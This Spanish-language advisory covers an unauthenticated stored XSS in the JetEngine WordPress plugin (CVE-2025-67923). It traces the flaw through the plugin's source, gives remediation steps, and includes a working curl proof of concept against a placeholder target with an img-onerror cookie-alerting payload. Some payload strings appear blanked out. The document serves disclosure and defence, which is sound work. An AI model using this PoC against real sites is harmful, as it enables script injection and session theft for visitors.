
JetEngine <= 3.7.7 — Cross-Site Scripting Almacenado No Autenticado a través de la API REST de CCT
Fecha: 11 de marzo de 2026 Puntuación CVSS: 7.1 (Alta) Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Plugin afectado: JetEngine <= 3.7.7 Slug del plugin: jet-engine Corregido en: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Investigador: Bonds (vía Patchstack) Reportado: 19 de octubre de 2025 Divulgado: enero de 2026 Versión de WordPress probada: Última
CVE-2025-67923 es una vulnerabilidad de Cross-Site Scripting Almacenado No Autenticado en el plugin de WordPress JetEngine que afecta a todas las versiones hasta la 3.7.7 inclusive. Un atacante no autenticado puede escribir HTML/JavaScript arbitrario en un campo de texto de un Custom Content Type (CCT) a través de la API REST pública, que luego se inyecta sin saneamiento en el DOM mediante un sumidero innerHTML de JavaScript en el widget Maps Listing cuando una víctima visita cualquier página que contenga ese widget.
El ataque no requiere autenticación ni privilegios. Solo requiere que:
public.✅ VULNERABILIDAD CONFIRMADA — Payload de XSS Almacenado Escrito y Ejecutado
Impacto confirmado:
La vulnerabilidad es una combinación de dos debilidades independientes:
Falta de saneamiento de entrada (almacenamiento): El método sanitize_field_value() del manejador de elementos CCT no tiene una ruta de saneamiento para los campos de tipo text. El caso default: solo convierte marcas de tiempo — el HTML sin procesar pasa y se persiste en la base de datos.
Sumidero de XSS basado en DOM (renderizado): El widget Maps Listing lee el valor de campo almacenado mediante get_marker_label(), lo envuelve en htmlspecialchars(json_encode(...)) para el atributo HTML data-markers, y el JavaScript del front-end lee el atributo con getAttribute() (que decodifica las entidades HTML) y luego inserta markerData.label directamente mediante innerHTML — ejecutando cualquier HTML/JavaScript incrustado.
El controlador REST público de CCT verifica los permisos mediante check_user_permissions():
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
$content_type = $this->get_content_type_from_request( $request );
$cap = $content_type->get_arg( $context );
if ( ! $cap || 'public' === $cap ) {
return true; // No authentication required
} else {
return current_user_can( $cap );
}
}
public function create_item_permissions_check( $request ) {
return $this->check_user_permissions( $request, 'rest_put_access' );
}
Cuando una CCT está configurada con rest_put_access = 'public' (una configuración admitida y documentada para formularios públicos), el endpoint es completamente no autenticado. Cualquier cliente HTTP puede hacer POST a /wp-json/jet-cct/{slug}.
El manejador REST llama a $handler->update_item($params), que llega a sanitize_field_value():
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
$type = isset( $field['type'] ) ? $field['type'] : false;
switch ( $type ) {
case 'repeater': // sanitizes sub-fields
// ...
case 'checkbox': // handles boolean arrays
case 'checkbox-raw':
// ...
case 'media':
case 'gallery': // sanitizes media JSON
// ...
case 'wysiwyg':
$value = jet_engine_sanitize_wysiwyg( $value ); // sanitized
break;
default:
// TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
$value = $this->factory->maybe_to_timestamp( $value, $field );
}
return $value;
}
Un campo de tipo text cae en la rama default:. maybe_to_timestamp() devuelve el valor sin cambios para cadenas que no son fechas. El payload XSS `` se almacena tal cual.
Cuando el widget Maps Listing se renderiza, get_marker_label() lee el campo:
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {
// ...
switch ( $label_type ) {
case 'meta_field':
$field = $settings['marker_label_field'];
if ( $field ) {
$result = jet_engine()->listings->data->get_meta( $field, $post );
// No esc_html() here — raw value returned
}
break;
}
return $result; // Returns ""
}
El valor devuelto se coloca en el array de datos del marcador:
// render.php:231-237
$result[] = array(
'id' => $post_id,
'latLang' => $latlang,
'label' => $this->get_marker_label( $post, $settings ), // raw XSS payload
// ...
);
El array de marcadores se codifica para un atributo HTML:
// render.php:247
return htmlspecialchars( json_encode( $result ) );
json_encode serializa `` como la cadena "". Luego, htmlspecialchars codifica en HTML todo el JSON, produciendo:
[{...,"label":"<img src=x onerror=alert(1)>",...}]
Esto se escribe en el atributo HTML data-markers. La codificación solo protege el límite del atributo. Cuando JavaScript lee el atributo, el navegador decodifica las entidades HTML, restaurando los caracteres originales:
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''
En frontend-maps.js, la cadena de etiqueta sin procesar se inserta directamente en una cadena de contenido HTML:
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//
// </div>'
Esta cadena de contenido se asigna luego como innerHTML del elemento del marcador:
// mapbox-maps.js:175
el.innerHTML = data.content; // XSS FIRES
// leaflet-maps.js:34
contentHtml.innerHTML = content; // XSS FIRES
Cada visitante que carga una página que contiene el widget Maps Listing activa el payload.
maps-listings y custom-content-types de JetEngine están habilitados.locations (slug: locations) con:
rest_put_enabled = truerest_put_access = 'public'text llamado labelmarker_type = 'text'marker_label_type = 'meta_field'marker_label_field = 'label'curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
-H 'Content-Type: application/json' \
-d '{
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}'
Respuesta:
{"success": true, "item_id": 1}
curl -s 'http://TARGET/wp-json/jet-cct/locations'
Respuesta:
[{
"_ID": "1",
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}]
La etiqueta `` se almacena tal cual — no se produjo ningún saneamiento.
Cualquier visitante autenticado o no autenticado que cargue una página que contenga el widget Maps Listing ejecutará el payload. El atributo HTML renderizado contiene:
<div class="jet-map-box"
data-markers="[{..."label":"<img src=x onerror=alert(document.cookie)>"...}]"
data-general="...">
</div>
JavaScript lee data-markers, decodifica las entidades HTML, analiza el JSON y lo inserta en el DOM:
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)
Attacker WordPress REST API Victim Browser
| | |
|-- POST /wp-json/jet-cct/ ---> | |
| {"label":" |
| | el.innerHTML = label
| | onerror=alert() FIRES
sanitize_field_value() maneja explícitamente wysiwyg con saneamiento basado en wp_kses, pero coloca todos los demás tipos de cadena en una rama default: que no realiza ningún escape de HTML. La suposición de que los campos text son texto plano se viola cuando esos valores se renderizan más tarde como HTML a través de la ruta innerHTML del widget Maps.
htmlspecialchars(json_encode($result)) se aplica para proteger el límite del atributo HTML. Esto es correcto y necesario, pero no es suficiente para prevenir el XSS cuando el valor se lee posteriormente mediante JavaScript y se inserta en el DOM a través de innerHTML. La codificación es reversible por el navegador. La corrección adecuada es aplicar esc_html() (o htmlspecialchars) al valor individual de label antes de la codificación JSON, de modo que el payload se almacene en el JSON como texto codificado en entidades. Cuando JavaScript lo inserta mediante innerHTML, el navegador renderiza <img> como texto, no como una etiqueta HTML.
Alternativamente, reemplace innerHTML por textContent en el JavaScript del campo de etiqueta.
La ruta de escritura de la API REST (update_item) no trata todos los valores almacenados como posibles sumideros HTML. La política de saneamiento se define solo por tipo de campo, con los campos text exentos silenciosamente a pesar de renderizarse como HTML en el front-end a través del widget Maps.
| Fecha | Evento |
|---|---|
| 19 de octubre de 2025 | Vulnerabilidad reportada por el investigador "Bonds" vía Patchstack |
| enero de 2026 | Divulgación pública |
| enero de 2026 | JetEngine 3.7.8 publicado con la corrección |
| 11 de marzo de 2026 | Reproducida de forma independiente con PoC completo |
| Archivo | Problema |
|---|
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424 | create_item_permissions_check devuelve true cuando CCT rest_put_access = 'public' — no se requiere autenticación |
includes/modules/custom-content-types/inc/item-handler.php:489 | Rama default: de sanitize_field_value() — sin saneamiento de HTML para campos de tipo text |
includes/modules/maps-listings/inc/render.php:233 | get_marker_label() devuelve el valor meta sin procesar sin esc_html() |
includes/modules/maps-listings/inc/render.php:247 | htmlspecialchars(json_encode($result)) — solo protege el límite del atributo, no la inyección por innerHTML |
includes/modules/maps-listings/assets/js/frontend-maps.js:112 | pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — etiqueta sin procesar insertada en la cadena HTML |
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175 | el.innerHTML = data.content — sumidero de ejecución de XSS |
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34 | contentHtml.innerHTML = content — sumidero de ejecución de XSS |
| Corrección | Archivo | Descripción |
|---|
| Sanear los campos de texto al guardar | item-handler.php:sanitize_field_value() | Agregar $value = wp_kses($value, []) o sanitize_text_field($value) en la rama default: |
| Escapar la etiqueta en el momento del renderizado | render.php:get_marker_label() | Aplicar esc_html($result) antes de devolver el valor de la etiqueta |
Usar textContent en lugar de innerHTML para las etiquetas | frontend-maps.js, mapbox-maps.js, leaflet-maps.js | Reemplazar el.innerHTML = data.content por construcción segura del DOM cuando el contenido sea solo texto de etiqueta |
| Restringir el acceso de escritura REST por defecto | Configuración del plugin | Cambiar el valor por defecto de rest_put_access a manage_options en lugar de public; requerir aceptación explícita |